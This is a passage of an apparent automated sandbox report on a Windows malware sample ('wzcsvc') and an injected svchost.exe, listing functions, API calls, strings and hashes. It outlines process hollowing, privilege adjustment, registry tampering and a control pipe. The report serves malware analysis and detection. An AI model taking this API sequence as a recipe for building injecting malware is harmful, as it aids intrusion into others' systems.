Opcode Fuzzy Hash: 5ed7fbe74340a9b931601102cc6c57433faa05d3f95bbe3169b19a4aead5adb9
Instruction Fuzzy Hash: 34113021F4964385EB14FB5AA4041AD6BE1AF89F84F184035EF0D937AADE3CD845C700

Function 00007FF6B5AD18A4 Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,00007FF6B5AD110E), ref: 00007FF6B5AD18C2
IsWow64Process.KERNEL32(?,?,?,00007FF6B5AD110E), ref: 00007FF6B5AD18D8
CloseHandle.KERNELBASE(?,?,?,00007FF6B5AD110E), ref: 00007FF6B5AD18F3

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: a364114f00c1aada9da54b572579da955c0b2e56b3f767a9c4da04bc3a71f90e
Instruction ID: 10aabf48c2999601ed1c4b8b5add87e8a3a9f61022b5908137e2fcf5a4637f07
Opcode Fuzzy Hash: a364114f00c1aada9da54b572579da955c0b2e56b3f767a9c4da04bc3a71f90e
Instruction Fuzzy Hash: 05F01D21B0978292EB54AF5AA584169A6A1EF88FC0F449039EF8D93799DF3CD8858700

Function 00007FF6B5AD2250 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B5AD2264: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2287
Part of subcall function 00007FF6B5AD2264: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2297
Part of subcall function 00007FF6B5AD2264: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD22B1
Part of subcall function 00007FF6B5AD2264: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6B5AD22C8
Part of subcall function 00007FF6B5AD2264: AdjustTokenPrivileges.KERNELBASE ref: 00007FF6B5AD2300
Part of subcall function 00007FF6B5AD2264: GetLastError.KERNEL32 ref: 00007FF6B5AD230A
Part of subcall function 00007FF6B5AD2264: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2313
Part of subcall function 00007FF6B5AD2264: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2327
Part of subcall function 00007FF6B5AD2264: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD233E
Part of subcall function 00007FF6B5AD2264: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2357
Part of subcall function 00007FF6B5AD2264: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2369
Part of subcall function 00007FF6B5AD2264: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5AD2259), ref: 00007FF6B5AD2376
Part of subcall function 00007FF6B5AD2264: RegCreateKeyExW.KERNELBASE ref: 00007FF6B5AD23B6
Part of subcall function 00007FF6B5AD2264: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF6B5AD23DD
Part of subcall function 00007FF6B5AD2264: RegSetKeySecurity.KERNELBASE ref: 00007FF6B5AD23F6
Part of subcall function 00007FF6B5AD2264: LocalFree.KERNEL32 ref: 00007FF6B5AD2400

ExitProcess.KERNEL32 ref: 00007FF6B5AD225B

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: bf254cb3d6035b2809951b42138fc99801fe68d3c2285e852756cdf8c8977066
Instruction ID: d4b2fadd4055060485bd2ae96c8f9e83044fc3cf0aba4f1224a978f1de234743
Opcode Fuzzy Hash: bf254cb3d6035b2809951b42138fc99801fe68d3c2285e852756cdf8c8977066
Instruction Fuzzy Hash: 4BA01100E8A28382EE0833B8082A0A800A02FA0E02F000030EA8AA22CBCC2C2802C200

Function 0000023EB69F2750 Relevance: 1.4, APIs: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0000023EB69F27EF

Memory Dump Source

Source File: 00000004.00000002.2625982952.0000023EB69F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023EB69F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23eb69f0000_wzcsvc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: d034c1b7f9d3ed927d250609444b3989583c838a356e782962ea814e96f1b213
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 1F6136B2B0169087DF568F95D20876DF393FB44B98F5A8120CE99077C8DA3CE9A6C700

Non-executed Functions

Function 00007FF6B5AD2558 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00007FF6B5AD25DF

Part of subcall function 00007FF6B5AD18A4: OpenProcess.KERNEL32(?,?,?,00007FF6B5AD110E), ref: 00007FF6B5AD18C2
Part of subcall function 00007FF6B5AD18A4: IsWow64Process.KERNEL32(?,?,?,00007FF6B5AD110E), ref: 00007FF6B5AD18D8
Part of subcall function 00007FF6B5AD18A4: CloseHandle.KERNELBASE(?,?,?,00007FF6B5AD110E), ref: 00007FF6B5AD18F3

Part of subcall function 00007FF6B5AD10C0: OpenProcess.KERNEL32 ref: 00007FF6B5AD112C
Part of subcall function 00007FF6B5AD10C0: OpenProcess.KERNEL32 ref: 00007FF6B5AD114B
Part of subcall function 00007FF6B5AD10C0: K32GetModuleFileNameExW.KERNEL32 ref: 00007FF6B5AD1171
Part of subcall function 00007FF6B5AD10C0: PathFindFileNameW.SHLWAPI ref: 00007FF6B5AD1180
Part of subcall function 00007FF6B5AD10C0: lstrlenW.KERNEL32 ref: 00007FF6B5AD118C
Part of subcall function 00007FF6B5AD10C0: StrCpyW.SHLWAPI ref: 00007FF6B5AD11A3
Part of subcall function 00007FF6B5AD10C0: CloseHandle.KERNEL32 ref: 00007FF6B5AD11AF
Part of subcall function 00007FF6B5AD10C0: StrCmpIW.SHLWAPI ref: 00007FF6B5AD11DC
Part of subcall function 00007FF6B5AD10C0: NtQueryInformationProcess.NTDLL ref: 00007FF6B5AD120F
Part of subcall function 00007FF6B5AD10C0: OpenProcessToken.ADVAPI32 ref: 00007FF6B5AD1239

RegOpenKeyExW.ADVAPI32 ref: 00007FF6B5AD267B
RegDeleteValueW.ADVAPI32 ref: 00007FF6B5AD2693
ExitProcess.KERNEL32 ref: 00007FF6B5AD26B7
GetProcessHeap.KERNEL32 ref: 00007FF6B5AD26BE
HeapAlloc.KERNEL32 ref: 00007FF6B5AD26D1
K32EnumProcesses.KERNEL32 ref: 00007FF6B5AD26EE
ExitProcess.KERNEL32 ref: 00007FF6B5AD278E

Strings

SOFTWARE, xrefs: 00007FF6B5AD266D
open, xrefs: 00007FF6B5AD2958
wzstager, xrefs: 00007FF6B5AD268C

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$open$wzstager
API String ID: 3276259517-3134961751
Opcode ID: 49469aca107eb5ab870f52516a22f9f595ae3c61a78ca066b1bbf4a06be3a02f
Instruction ID: 93f8551bf88162958c06c2d29f64e6b9fcf63c1b0ab250b3a4e0bcc51623b37c
Opcode Fuzzy Hash: 49469aca107eb5ab870f52516a22f9f595ae3c61a78ca066b1bbf4a06be3a02f
Instruction Fuzzy Hash: 17D15022A486839AEB75BB29A8142F92255FF44F45F400035EF5DA76DEDF3CEA05C350

Function 00007FF6B5AD1C80 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154injectionthreadmemoryCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF6B5AD1D15
VirtualAllocEx.KERNEL32 ref: 00007FF6B5AD1D44
WriteProcessMemory.KERNEL32 ref: 00007FF6B5AD1D6B
WriteProcessMemory.KERNEL32 ref: 00007FF6B5AD1DAA
VirtualAlloc.KERNEL32 ref: 00007FF6B5AD1DDB
GetThreadContext.KERNEL32 ref: 00007FF6B5AD1DF7
WriteProcessMemory.KERNEL32 ref: 00007FF6B5AD1E1E
SetThreadContext.KERNEL32 ref: 00007FF6B5AD1E3C
ResumeThread.KERNEL32 ref: 00007FF6B5AD1E4A
OpenProcess.KERNEL32 ref: 00007FF6B5AD1E62
TerminateProcess.KERNEL32 ref: 00007FF6B5AD1E75

Strings

@, xrefs: 00007FF6B5AD1D3C

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 5db55b7394678a523aa1a13404522c9923ae6185104554760f49e4175cea031b
Instruction ID: 6f243df4c04e2677fabe01a1d0ba50b4a3794f482ff072f1616d8b03f592359b
Opcode Fuzzy Hash: 5db55b7394678a523aa1a13404522c9923ae6185104554760f49e4175cea031b
Instruction Fuzzy Hash: 2F517D32B04A0186EB50AF6AE8406AA7BE1FF48F98F054135DF4DA3799DF38E845C740

Function 00007FF6B5AD19BC Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00007FF6B5AD19DE
SysAllocString.OLEAUT32 ref: 00007FF6B5AD19EE
CoInitializeEx.OLE32 ref: 00007FF6B5AD19FB
CoInitializeSecurity.OLE32 ref: 00007FF6B5AD1A32
CoCreateInstance.OLE32 ref: 00007FF6B5AD1A72
VariantInit.OLEAUT32 ref: 00007FF6B5AD1A84
CoUninitialize.OLE32 ref: 00007FF6B5AD1B1E
SysFreeString.OLEAUT32 ref: 00007FF6B5AD1B27
SysFreeString.OLEAUT32 ref: 00007FF6B5AD1B30

Strings

wzsvc64, xrefs: 00007FF6B5AD19D5

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: wzsvc64
API String ID: 4184240511-201681562
Opcode ID: 8a8b947f24d0d56437289385b4e6c0331e53443c1448a47b68ed515fcd0cf7b9
Instruction ID: 5e84a2efa83f31e73d3c169ffd951760d4a2e628b33d923bcc0f0a0944a26dbd
Opcode Fuzzy Hash: 8a8b947f24d0d56437289385b4e6c0331e53443c1448a47b68ed515fcd0cf7b9
Instruction Fuzzy Hash: AC416D32B44A8296E710EF29E4442E977B1FF94F88F044176EF0D92A59DF38E545C300

Function 0000023EB69F9EF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000023EB69F9F4C

Part of subcall function 0000023EB69FAE08: __GetUnwindTryBlock.LIBCMT ref: 0000023EB69FAE4B
Part of subcall function 0000023EB69FAE08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000023EB69FAE70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000023EB69FA024
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000023EB69FA273
std::bad_alloc::bad_alloc.LIBCMT ref: 0000023EB69FA37F

Strings

csm, xrefs: 0000023EB69FA047
csm, xrefs: 0000023EB69F9FCD
csm, xrefs: 0000023EB69F9F66

Memory Dump Source

Source File: 00000004.00000002.2625982952.0000023EB69F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023EB69F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23eb69f0000_wzcsvc.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: 9197c928365cf863f540a31c229b95b7d1b5b9020eb05a8b2cf1002d673fdf48
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: BFD1ACB2600B40CAEF669F25D48839DF7A2F74579CF160215EEC957B96CB38E689C700

Function 0000023EB69F6920 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000023EB69F6948
__scrt_acquire_startup_lock.LIBCMT ref: 0000023EB69F699A
_RTC_Initialize.LIBCMT ref: 0000023EB69F69C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000023EB69F69EE
__scrt_release_startup_lock.LIBCMT ref: 0000023EB69F6A19

Memory Dump Source

Source File: 00000004.00000002.2625982952.0000023EB69F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023EB69F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23eb69f0000_wzcsvc.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: 4befa6624efbf7b254a5279965bced147a12e1d24b670849b9ecf10f29bc47a4
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: 7981C1F170030186FE52AB65A449369E7E3BB8578CF578435AA84877D6DE3CEB4D8700

Function 00007FF6B5AD1000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF6B5AD1034
RegDeleteKeyW.ADVAPI32 ref: 00007FF6B5AD1045
RegEnumKeyExW.ADVAPI32 ref: 00007FF6B5AD1082
RegCloseKey.ADVAPI32 ref: 00007FF6B5AD1093
RegDeleteKeyExW.ADVAPI32 ref: 00007FF6B5AD10B0

Strings

SOFTWARE\wzconfig, xrefs: 00007FF6B5AD1026, 00007FF6B5AD109C

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\wzconfig
API String ID: 3013565938-1049453983
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 7598b9ac51f76ca44db2155b02d0fe1fd0538bada8c41f8ff4f3bf642c5e0bed
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 4A119422B18A8581EB60AB29E8457F92364FF44B54F404236DB4D569DDDF3CD648CB04

Function 00007FF6B5AD2A88 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6B5AD2AC3
WriteFile.KERNEL32 ref: 00007FF6B5AD2AEB
WriteFile.KERNEL32 ref: 00007FF6B5AD2B0E
CloseHandle.KERNEL32 ref: 00007FF6B5AD2B17

Strings

\\.\pipe\wzcontrol_redirect64, xrefs: 00007FF6B5AD2AA0

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\wzcontrol_redirect64
API String ID: 148219782-2060006620
Opcode ID: b34fa02d577d28533ff0f18363391e30420b242850f6df86d4af65e84bfebd5f
Instruction ID: aa49c314e4efe2cec32addac6e7efeb9102e938dfce7e7597d0e3ed21814621c
Opcode Fuzzy Hash: b34fa02d577d28533ff0f18363391e30420b242850f6df86d4af65e84bfebd5f
Instruction Fuzzy Hash: EF114C76A54B5182EB00AB19E4083A96760FF89FA4F444236DF1953BD9CF7CD945C740

Function 0000023EB6A03A74 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000023EB6A03A9C
_set_statfp.LIBCMT ref: 0000023EB6A03AB7
_set_statfp.LIBCMT ref: 0000023EB6A03AD3
_set_statfp.LIBCMT ref: 0000023EB6A03B0F

Memory Dump Source

Source File: 00000004.00000002.2625982952.0000023EB69F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023EB69F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23eb69f0000_wzcsvc.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 724e57d8392e03278ad55cc1aaf51137ac53dac1d61b8a551a9619dd5e2750f9
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 12110AB7710A03C5FE573169D85E3699047BF5937CF2B0220A576062EADA6D4B5D4108

Function 0000023EB69FA770 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000023EB69FA798
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000023EB69FA880

Strings

csm, xrefs: 0000023EB69FA8D2
csm, xrefs: 0000023EB69FA7BA

Memory Dump Source

Source File: 00000004.00000002.2625982952.0000023EB69F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023EB69F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23eb69f0000_wzcsvc.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: b32016a61711c77bc97f6b3041893effd280fdb1dbc5385f79a9c4307122662d
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: AD51AFB2504280C6EF6A8F159448358F7A2F754B9CF1B8126DBD847BD5CB3CEAA9C701

Function 0000023EB69F7980 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000023EB69F79AB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000023EB69F7A42

Strings

csm, xrefs: 0000023EB69F7A29

Memory Dump Source

Source File: 00000004.00000002.2625982952.0000023EB69F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023EB69F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23eb69f0000_wzcsvc.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: 855eec9bea59a2a44505d818b18946362405b3b23c99641aa2859ba546260646
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: F5519D623116008AEF168F15F448B6CE793F345BADF138521EA868B7C8DB7CEA49C700

Function 0000023EB69FA3C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000023EB69FA46B

Strings

MOC, xrefs: 0000023EB69FA433
RCC, xrefs: 0000023EB69FA43B

Memory Dump Source

Source File: 00000004.00000002.2625982952.0000023EB69F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023EB69F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23eb69f0000_wzcsvc.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: 9d06c66aebd6894048cb1681453c73d1c89e9101b7b06a806ab4d09f5b027daa
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: AF61BFB2504BC4C1EB668F15E44439EF7A1F785B98F068215EBD943B99DB7CE298CB00

Function 00007FF6B5AD190C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,00007FF6B5AD2130), ref: 00007FF6B5AD191C
GetProcAddress.KERNEL32(?,?,00000000,00007FF6B5AD2130), ref: 00007FF6B5AD192F

Strings

ntdll.dll, xrefs: 00007FF6B5AD1912

Memory Dump Source

Source File: 00000004.00000002.2636655240.00007FF6B5AD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B5AD0000, based on PE: true

Associated: 00000004.00000002.2635977479.00007FF6B5AD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2637440154.00007FF6B5AD3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2638219056.00007FF6B5AD6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6b5ad0000_wzcsvc.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 17085d13c6d19adf9107acc6e62bc0cde60057c24e7a9bdea36a2e31f8118abb
Instruction ID: 83be4bf334405e99d56cc0b8a2a3faf445684c388f6ca6af8a0f52bd6309cded
Opcode Fuzzy Hash: 17085d13c6d19adf9107acc6e62bc0cde60057c24e7a9bdea36a2e31f8118abb
Instruction Fuzzy Hash: A5D0A744B9560382FE087B6A68540B003505F18F40F440071CE0E95386DE3CD8944200

Analysis Process: svchost.exePID: 6108, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	2

Executed Functions

Function 00000216819B32A0 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000216819B32C2
PathFindFileNameW.SHLWAPI ref: 00000216819B32D1

Part of subcall function 00000216819B3858: StrCmpNIW.SHLWAPI ref: 00000216819B3870

Part of subcall function 00000216819B37A4: GetModuleHandleW.KERNEL32 ref: 00000216819B37B2
Part of subcall function 00000216819B37A4: GetCurrentProcess.KERNEL32 ref: 00000216819B37E0
Part of subcall function 00000216819B37A4: VirtualProtectEx.KERNEL32 ref: 00000216819B3802
Part of subcall function 00000216819B37A4: GetCurrentProcess.KERNEL32 ref: 00000216819B381D
Part of subcall function 00000216819B37A4: VirtualProtectEx.KERNEL32 ref: 00000216819B383E

CreateThread.KERNEL32 ref: 00000216819B331F

Part of subcall function 00000216819B1D1C: GetCurrentThread.KERNEL32 ref: 00000216819B1D27

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction ID: 801c42961fe1b4382c844234cc78ac710e0d4036b76395ac5b92bddb1c98b79c
Opcode Fuzzy Hash: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction Fuzzy Hash: 391152707116668EFF60D721B94D7DE62A4BB74705F928029958E867D1EF3CC28C8700

Function 00000216819B1AC4 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000216819B1630: GetProcessHeap.KERNEL32 ref: 00000216819B163B
Part of subcall function 00000216819B1630: HeapAlloc.KERNEL32 ref: 00000216819B164A
Part of subcall function 00000216819B1630: RegOpenKeyExW.ADVAPI32 ref: 00000216819B16BA
Part of subcall function 00000216819B1630: RegOpenKeyExW.ADVAPI32 ref: 00000216819B16E7
Part of subcall function 00000216819B1630: RegCloseKey.ADVAPI32 ref: 00000216819B1701
Part of subcall function 00000216819B1630: RegOpenKeyExW.ADVAPI32 ref: 00000216819B1721
Part of subcall function 00000216819B1630: RegCloseKey.ADVAPI32 ref: 00000216819B173C
Part of subcall function 00000216819B1630: RegOpenKeyExW.ADVAPI32 ref: 00000216819B175C
Part of subcall function 00000216819B1630: RegCloseKey.ADVAPI32 ref: 00000216819B1777
Part of subcall function 00000216819B1630: RegOpenKeyExW.ADVAPI32 ref: 00000216819B1797
